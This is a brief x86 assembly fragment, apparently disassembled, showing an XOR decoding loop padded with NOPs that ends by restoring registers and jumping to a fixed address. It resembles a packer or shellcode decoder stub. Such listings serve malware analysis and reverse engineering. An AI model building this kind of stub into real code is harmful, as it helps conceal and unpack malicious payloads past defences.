xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219